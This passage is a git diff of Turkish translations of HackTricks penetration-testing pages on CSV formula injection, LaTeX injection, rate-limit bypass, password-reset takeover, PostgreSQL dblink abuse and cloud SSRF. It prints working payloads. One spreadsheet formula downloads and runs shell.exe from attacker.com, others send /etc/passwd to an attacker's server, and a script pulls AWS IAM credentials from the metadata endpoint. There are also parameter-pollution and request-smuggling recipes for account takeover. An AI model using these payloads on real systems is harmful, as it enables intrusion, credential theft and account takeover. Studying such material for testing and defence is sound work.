aşağıdaki gibi kullanılabilir: ```python @@ -251,9 +251,9 @@ create_zip() ``` **Sıkıştırmayı kötüye kullanarak dosya yayma** -Daha fazla bilgi için **orijinal gönderiyi kontrol edin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Daha fazla detay için **orijinal gönderiyi kontrol edin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılmıştır. +1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılır. ```php [!CAUTION] -> Günümüzde **Excel, dışarıdan bir şey yüklendiğinde** **kullanıcıyı uyarır** (birkaç kez) ve bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yükleme için Sosyal Mühendislik üzerine özel bir çaba sarf edilmelidir. +> Günümüzde **Excel, dışarıdan bir şey yüklendiğinde** **kullanıcıyı uyarır** (birkaç kez) ve bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yük üzerinde Sosyal Mühendislik konusunda özel bir çaba sarf edilmelidir. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` @@ -31,15 +31,15 @@ Bir Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığının CSV enjeksi 1. **Kötü Niyetli Yükün Enjeksiyonu:** - Saldırgan, bir öğrenci detay formu gönderir ancak genellikle elektronik tablolarında kullanılan bir formül ekler (örneğin, `=HYPERLINK("","Click here")`). - Bu formül, bir hiperlink oluşturmak için tasarlanmıştır, ancak saldırganın kontrolündeki kötü niyetli bir sunucuya işaret eder. -2. **Tehlikeye Atılan Verilerin Dışa Aktarılması:** -- Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır. +2. **Tehdit Altındaki Verilerin İhracı:** +- Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına aktarmak için uygulamanın işlevselliğini kullanır. - CSV dosyası açıldığında, hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir hiperlink olarak görünür. 3. **Saldırının Tetiklenmesi:** - Bir öğretmen, öğrencinin detaylarının meşru bir parçası olduğunu düşünerek hiperlinke tıklar. -- Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından gelen detaylar) saldırganın sunucusuna iletilir. +- Tıkladığında, hassas veriler (muhtemelen elektronik tablodan veya öğretmenin bilgisayarından gelen detaylar) saldırganın sunucusuna iletilir. 4. **Verilerin Kaydedilmesi:** - Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder. -- Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliği ve güvenliği daha da tehlikeye atılır. +- Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliği ve güvenliği daha da tehlikeye girmiş olur. ### RCE @@ -57,38 +57,38 @@ Ekstra komutlar da çalıştırılabilir, örneğin bir dosyayı PowerShell kull ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` -### Local File Inclusion (LFI) in LibreOffice Calc +### LibreOffice Calc'ta Yerel Dosya Dahil Etme (LFI) -LibreOffice Calc, yerel dosyaları okumak ve verileri dışarı aktarmak için kullanılabilir. İşte bazı yöntemler: +LibreOffice Calc, yerel dosyaları okumak ve veri sızdırmak için kullanılabilir. İşte bazı yöntemler: - Yerel `/etc/passwd` dosyasının ilk satırını okuma: `='file:///etc/passwd'#$passwd.A1` -- Okunan verileri saldırgan kontrolündeki bir sunucuya dışarı aktarma: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` -- Birden fazla satırı dışarı aktarma: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` -- DNS dışarı aktarma (okunan verileri saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` +- Okunan veriyi saldırgan kontrolündeki bir sunucuya sızdırma: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` +- Birden fazla satırı sızdırma: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` +- DNS sızdırma (okunan veriyi saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` -### Google Sheets for Out-of-Band (OOB) Data Exfiltration +### Google Sheets ile Band Dışı (OOB) Veri Sızdırma -Google Sheets, OOB veri dışarı aktarmak için istismar edilebilecek işlevler sunar: +Google Sheets, OOB veri sızdırma için istismar edilebilecek işlevler sunar: -- **CONCATENATE**: Dize birleştirir - `=CONCATENATE(A2:E2)` +- **CONCATENATE**: Dize ekler - `=CONCATENATE(A2:E2)` - **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED**: RSS veya ATOM beslemelerini alır - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` - **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` - **IMPORTRANGE**: Başka bir elektronik tablodan bir hücre aralığını alır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` - **IMAGE**: Bir hücreye resim ekler - `=IMAGE("https:///images/srpr/logo3w.png")` -## LaTeX Injection +## LaTeX Enjeksiyonu Genellikle internette **LaTeX kodunu PDF'ye dönüştüren** sunucular **`pdflatex`** kullanır.\ Bu program, komut yürütmeyi (dis)engellemek için 3 ana özellik kullanır: - **`--no-shell-escape`**: `\write18{command}` yapısını **devre dışı bırakır**, texmf.cnf dosyasında etkin olsa bile. -- **`--shell-restricted`**: `--shell-escape` ile aynı, ancak **önceden tanımlanmış** 'güvenli' bir komut seti ile **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir). +- **`--shell-restricted`**: `--shell-escape` ile aynı, ancak **önceden tanımlanmış** **komutların** 'güvenli' bir kümesi ile **sınırlıdır** (Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir). - **`--shell-escape`**: `\write18{command}` yapısını **etkinleştirir**. Komut herhangi bir shell komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaktır. Ancak, komutları yürütmenin başka yolları da vardır, bu nedenle RCE'yi önlemek için `--shell-restricted` kullanmak çok önemlidir. -### Read file +### Dosyayı Oku Enjeksiyonu \[ veya $ gibi sarmalayıcılarla ayarlamanız gerekebilir. ```bash diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 83f849240..9bb078f01 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -4,17 +4,17 @@ ## Rate limit bypass techniques -### Benzer Uç Noktaları Keşfetme +### Exploring Similar Endpoints -Hedeflenen uç noktanın varyasyonlarına, örneğin `/api/v3/sign-up` gibi, `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` gibi alternatifler üzerinde brute force saldırıları gerçekleştirmek için denemeler yapılmalıdır. +Hedeflenen uç noktanın varyasyonlarına, örneğin `/api/v3/sign-up`, `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` gibi alternatiflere karşı brute force saldırıları gerçekleştirmek için denemeler yapılmalıdır. -### Kod veya Parametrelerde Boş Karakterler Kullanma +### Incorporating Blank Characters in Code or Parameters Kod veya parametrelere `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` gibi boş baytlar eklemek faydalı bir strateji olabilir. Örneğin, bir parametreyi `code=1234%0a` olarak ayarlamak, girişteki varyasyonlar aracılığıyla deneme süresini uzatmaya olanak tanır; bu, bir e-posta adresine yeni satır karakterleri ekleyerek deneme sınırlamalarını aşmayı sağlar. -### Başlıklar Aracılığıyla IP Kaynağını Manipüle Etme +### Manipulating IP Origin via Headers -Algılanan IP kaynağını değiştirmek için başlıkları modifiye etmek, IP tabanlı hız sınırlamasından kaçınmaya yardımcı olabilir. `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host` gibi başlıklar, farklı IP'lerden gelen istekleri simüle etmek için birden fazla `X-Forwarded-For` örneği kullanarak ayarlanabilir. +Algılanan IP kökenini değiştirmek için başlıkları değiştirmek, IP tabanlı hız sınırlamasından kaçınmaya yardımcı olabilir. `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host` gibi başlıklar, farklı IP'lerden gelen istekleri simüle etmek için birden fazla `X-Forwarded-For` örneği kullanarak ayarlanabilir. ```bash X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 @@ -30,26 +30,30 @@ X-Forwarded-For: 127.0.0.1 ``` ### Diğer Başlıkları Değiştirme -Kullanıcı ajanı ve çerezler gibi diğer istek başlıklarını değiştirmek önerilir, çünkü bunlar da istek kalıplarını tanımlamak ve takip etmek için kullanılabilir. Bu başlıkların değiştirilmesi, talep edenin faaliyetlerinin tanınmasını ve izlenmesini önleyebilir. +Kullanıcı ajanı ve çerezler gibi diğer istek başlıklarını değiştirmek önerilir, çünkü bunlar da istek kalıplarını tanımlamak ve takip etmek için kullanılabilir. Bu başlıkları değiştirmek, istekte bulunan kişinin faaliyetlerinin tanınmasını ve izlenmesini önleyebilir. ### API Gateway Davranışını Kullanma -Bazı API geçitleri, uç nokta ve parametrelerin kombinasyonuna dayalı olarak oran sınırlaması uygulamak için yapılandırılmıştır. Parametre değerlerini değiştirerek veya önemsiz parametreler ekleyerek, geçidin oran sınırlama mantığını aşmak mümkün olabilir, böylece her istek benzersiz görünür. Örneğin `/resetpwd?someparam=1`. +Bazı API geçitleri, uç nokta ve parametrelerin kombinasyonuna dayalı olarak oran sınırlaması uygulamak için yapılandırılmıştır. Parametre değerlerini değiştirerek veya isteğe önemsiz parametreler ekleyerek, geçidin oran sınırlama mantığını aşmak mümkün olabilir, böylece her istek benzersiz görünür. Örneğin `/resetpwd?someparam=1`. ### Her Denemeden Önce Hesabınıza Giriş Yapma -Her denemeden veya her deneme setinden önce bir hesaba giriş yapmak, oran sınırlama sayacını sıfırlayabilir. Bu, giriş işlevselliklerini test ederken özellikle faydalıdır. Burp Suite gibi araçlarda bir Pitchfork saldırısı kullanarak, her birkaç denemede bir kimlik bilgilerini döndürmek ve yönlendirmelerin işaretlendiğinden emin olmak, oran sınırlama sayaçlarını etkili bir şekilde yeniden başlatabilir. +Her denemeden veya her deneme setinden önce bir hesaba giriş yapmak, oran sınırlama sayacını sıfırlayabilir. Bu, özellikle giriş işlevselliklerini test ederken faydalıdır. Burp Suite gibi araçlarda, her birkaç denemeden sonra kimlik bilgilerini döndürmek ve yönlendirmelerin işaretlendiğinden emin olmak için bir Pitchfork saldırısı kullanmak, oran sınırlama sayaçlarını etkili bir şekilde yeniden başlatabilir. ### Proxy Ağlarını Kullanma -İstekleri birden fazla IP adresi arasında dağıtmak için bir proxy ağı dağıtmak, IP tabanlı oran sınırlamalarını etkili bir şekilde aşabilir. Trafiği çeşitli proxy'ler aracılığıyla yönlendirerek, her istek farklı bir kaynaktan geliyormuş gibi görünür, bu da oran sınırlamasının etkinliğini azaltır. +İstekleri birden fazla IP adresi arasında dağıtmak için bir proxy ağı dağıtmak, IP tabanlı oran sınırlamalarını etkili bir şekilde aşabilir. Trafiği çeşitli proxyler aracılığıyla yönlendirerek, her istek farklı bir kaynaktan geliyormuş gibi görünür, bu da oran sınırlamasının etkinliğini azaltır. ### Saldırıyı Farklı Hesaplar veya Oturumlar Arasında Bölme -Hedef sistem, oran sınırlamalarını hesap başına veya oturum başına uyguluyorsa, saldırıyı veya testi birden fazla hesap veya oturum arasında dağıtmak, tespiti önlemeye yardımcı olabilir. Bu yaklaşım, birden fazla kimlik veya oturum belirteci yönetmeyi gerektirir, ancak yükü izin verilen sınırlar içinde tutmak için etkili bir şekilde dağıtabilir. +Hedef sistem, oran sınırlamalarını hesap başına veya oturum başına uyguluyorsa, saldırıyı veya testi birden fazla hesap veya oturum arasında dağıtmak, tespiti önlemeye yardımcı olabilir. Bu yaklaşım, birden fazla kimlik veya oturum belirteci yönetmeyi gerektirir, ancak yükü izin verilen sınırlar içinde dağıtmak için etkili olabilir. -### Denemeye Devam Et +### Denemeye Devam Edin -Bir oran sınırlaması olsa bile, geçerli OTP gönderildiğinde yanıtın farklı olup olmadığını görmek için denemeye devam etmelisiniz. [**bu yazıda**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), hata avcısı, 20 başarısız denemeden sonra 401 ile yanıt verildiğinde bir oran sınırlaması tetiklense bile, geçerli olan gönderildiğinde 200 yanıtı alındığını keşfetti. +Bir oran sınırlaması olsa bile, geçerli OTP gönderildiğinde yanıtın farklı olup olmadığını görmek için denemeye devam etmelisiniz. [**bu yazıda**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), hata avcısı, 20 başarısız denemeden sonra 401 ile yanıt verildiğinde bir oran sınırlamasının tetiklendiğini keşfetti, ancak geçerli olan gönderildiğinde 200 yanıtı alındı. + +### Araçlar + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz, WAF'ları ve CDN'leri test etmek ve aşmak için tasarlanmış bir fuzzing aracıdır. Rastgele Kullanıcı-Ajanı ve başlık değeri, rastgele gecikmeler, çoklu iş parçacığı yönetimi, kelime listelerinin seçici parçalara ayrılması ve her parça için Round Robin proxy döngüsü gibi gelişmiş özelliklerden yararlanarak, web uygulamalarındaki güvenlik açıklarını tanımlamayı amaçlayan güvenlik profesyonelleri için sağlam bir çözüm sunar. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 5d0215648..c1d6647dc 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -18,7 +18,7 @@ ### Kullanıcı Adı Sayımı -Bir kullanıcı adının uygulama içinde zaten kayıtlı olup olmadığını anlamaya çalışın. +Bir kullanıcı adının uygulama içinde zaten kaydedilip kaydedilmediğini anlamaya çalışın. ### Şifre Politikası @@ -27,7 +27,7 @@ Bu durumda kimlik bilgilerini brute force ile denemeyi deneyebilirsiniz. ### SQL Enjeksiyonu -[**Bu sayfayı kontrol edin** ](sql-injection/index.html#insert-statement) kayıt formlarında **SQL Enjeksiyonları** aracılığıyla hesap ele geçirme veya bilgi çıkarma girişiminde bulunmayı öğrenmek için. +[**Bu sayfayı kontrol edin** ](sql-injection/index.html#insert-statement) kayıt formlarında hesap ele geçirme veya bilgi çıkarma girişiminde bulunmak için **SQL Enjeksiyonları** hakkında bilgi edinmek için. ### Oauth Ele Geçirmeleri @@ -41,15 +41,15 @@ oauth-to-account-takeover.md saml-attacks/ {{#endref}} -### E-posta Değiştirme +### E-postayı Değiştir -Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya rastgele e-postalara değiştirip değiştiremeyeceğinizi kontrol edin. +Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya keyfi e-postalara değiştirip değiştiremeyeceğinizi kontrol edin. ### Daha Fazla Kontrol -- **Tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin +- **tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin - **Uzun** **şifre** (>200) **DoS**'ye yol açar -- **Hesap oluşturma üzerindeki hız sınırlarını kontrol edin** +- **Hesap oluşturma** için oran limitlerini kontrol edin - username@**burp_collab**.net kullanın ve **callback**'i analiz edin ## **Şifre Sıfırlama Ele Geçirme** @@ -61,7 +61,7 @@ Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin d 3. Şifreyi değiştirmeyin 4. Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, Twitter) 5. Burp Suite proxy'sinde isteği yakalayın -6. Referans başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin. +6. Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin. ### Şifre Sıfırlama Zehirleme @@ -72,7 +72,7 @@ Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin d 4. _host başlığına_ dayalı bir şifre sıfırlama URL'si arayın: `https://attacker.com/reset-password.php?token=TOKEN` ### E-posta Parametresi Üzerinden Şifre Sıfırlama -```powershell +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -90,7 +90,7 @@ email=victim@mail.com|hacker@mail.com ``` ### IDOR on API Parameters -1. Saldırgan, kendi hesabıyla giriş yapmalı ve **Şifre değiştir** özelliğine gitmelidir. +1. Saldırgan, hesabıyla giriş yapmalı ve **Şifre değiştir** özelliğine gitmelidir. 2. Burp Suite'i başlatın ve isteği yakalayın. 3. İsteği tekrar gönderme sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` @@ -102,7 +102,7 @@ Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığı - Zaman damgası - Kullanıcı ID'si -- Kullanıcının e-posta adresi +- Kullanıcının E-postası - Ad ve Soyad - Doğum Tarihi - Kriptografi @@ -114,14 +114,14 @@ Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığı ### Leaking Password Reset Token 1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com -2. Sunucu yanıtını inceleyin ve `resetToken`'ı kontrol edin. +2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin. 3. Ardından token'ı şu URL'de kullanın: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` ### Password Reset Via Username Collision 1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "` -2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin. -3. E-posta adresinize gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın. +2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama isteği yapın. +3. E-postanıza gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın. 4. Yeni şifreyle kurbanın hesabına bağlanın. CTFd platformu bu saldırıya karşı savunmasızdı.\ @@ -138,7 +138,7 @@ Bakınız: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) 1\. **smuggler** kullanarak HTTP İstek Kaçırma türünü tespit edin (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2\. Aşağıdaki verilerle `POST / HTTP/1.1`'i geçersiz kılacak bir istek oluşturun:\ -`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacı, kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmaktır.\ +`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacıyla kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmak\ 3\. Son istek aşağıdaki gibi görünebilir ``` GET / HTTP/1.1 diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index db78d6f83..afa4975eb 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -1,8 +1,8 @@ -# Network - Privesc, Port Scanner ve NTLM yanıtı ifşası +# Network - Privesc, Port Scanner ve NTLM yanıt ifşası {{#include ../../../banners/hacktricks-training.md}} -**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal belgede**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) bulun. +**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal makaleye göz atın**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt). **PostgreSQL 9.1**'den itibaren, ek modüllerin kurulumu basittir. [`dblink` gibi kayıtlı uzantılar](https://www.postgresql.org/docs/current/contrib.html) [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) ile kurulabilir: ```sql @@ -12,21 +12,21 @@ Bir kez dblink yüklendiğinde, bazı ilginç numaralar yapabilirsiniz: ### Yetki Yükseltme -`pg_hba.conf` dosyası **şifreyi bilmeye gerek kalmadan** **localhost'tan herhangi bir kullanıcı** ile **bağlantılara izin verecek şekilde** kötü yapılandırılmış olabilir. Bu dosya genellikle `/etc/postgresql/12/main/pg_hba.conf` yolunda bulunabilir ve kötü bir yapılandırma şöyle görünür: +`pg_hba.conf` dosyası, **şifreyi bilmeye gerek kalmadan** **localhost'tan herhangi bir kullanıcı olarak** **bağlantılara izin verecek** şekilde kötü yapılandırılmış olabilir. Bu dosya genellikle `/etc/postgresql/12/main/pg_hba.conf` içinde bulunabilir ve kötü bir yapılandırma şöyle görünür: ``` local all all trust ``` _Not edin ki bu yapılandırma, admin şifreyi unuttuğunda bir db kullanıcısının şifresini değiştirmek için yaygın olarak kullanılır, bu yüzden bazen bunu bulabilirsiniz._\ _Ayrıca, pg_hba.conf dosyasının yalnızca postgres kullanıcısı ve grubu tarafından okunabilir ve yalnızca postgres kullanıcısı tarafından yazılabilir olduğunu unutmayın._ -Bu durum, **eğer** kurbanın içinde **zaten** bir **shell**'iniz varsa **yararlıdır** çünkü size postgresql veritabanına bağlanma imkanı verecektir. +Bu durum, **eğer** kurbanın içinde **zaten** bir **shell**'iniz varsa **yararlıdır**, çünkü size postgresql veritabanına bağlanma imkanı verecektir. -Başka bir olası yanlış yapılandırma, bunun gibi bir şeydir: +Başka bir olası yanlış yapılandırma, şöyle bir şeydir: ``` host all all 127.0.0.1/32 trust ``` Bu, localhost'tan herkesin herhangi bir kullanıcı olarak veritabanına bağlanmasına izin verecektir.\ -Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetkileri yükseltebilir** ve erişim izni olmayan verilere erişebilirsiniz: +Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetki yükseltme** yapabilir ve erişim izni olmayan verilere erişebilirsiniz: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres @@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT); ``` ### Port Scanning -`dblink_connect`'i kötüye kullanarak **açık portları** da arayabilirsiniz. Eğer bu \*\*fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, bu yüzden `dblink_connect_u()`'yu denemelisiniz. +`dblink_connect`'i kötüye kullanarak **açık portları arayabilirsiniz**. Eğer o **fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, bu yüzden `dblink_connect_u()`'yu denemelisiniz**. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 @@ -69,7 +69,7 @@ DETAIL: timeout expired ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` -Not edin ki **kullanabilmek için** `dblink_connect` veya `dblink_connect_u` önce şunu çalıştırmanız gerekebilir: +Not edin ki `dblink_connect` veya `dblink_connect_u` kullanmadan **önce** şunu çalıştırmanız gerekebilir: ``` CREATE extension dblink; ``` diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 16df3f6d3..9a606b704 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -4,11 +4,11 @@ ## AWS -### AWS EC2 ortamında SSRF'nin kötüye kullanılması +### AWS EC2 ortamında SSRF'yi kötüye kullanma **Metadata** uç noktası, herhangi bir EC2 makinesinin içinden erişilebilir ve ilginç bilgiler sunar. URL'de erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -**Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri ile **erişim** sağlamaya olanak tanır (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için bir **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**). +**Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri ile **erişime** izin verir (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**). > [!CAUTION] > EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** bir **hop limitine sahip olacaktır**, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir. @@ -75,30 +75,30 @@ echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` -Bir **genel olarak erişilebilir IAM kimlik bilgileri** örneğini ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) +Bir **genel olarak erişilebilir IAM kimlik bilgileri** örneği olarak şunu ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Ayrıca genel **EC2 güvenlik kimlik bilgilerini** kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) -Daha sonra **bu kimlik bilgilerini AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır. +Daha sonra **bu kimlik bilgilerini alıp AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır. -Yeni kimlik bilgilerini kullanmak için, aşağıdaki gibi yeni bir AWS profili oluşturmanız gerekecek: +Yeni kimlik bilgilerini kullanmak için, şu şekilde yeni bir AWS profili oluşturmanız gerekecek: ``` [profilename] aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = 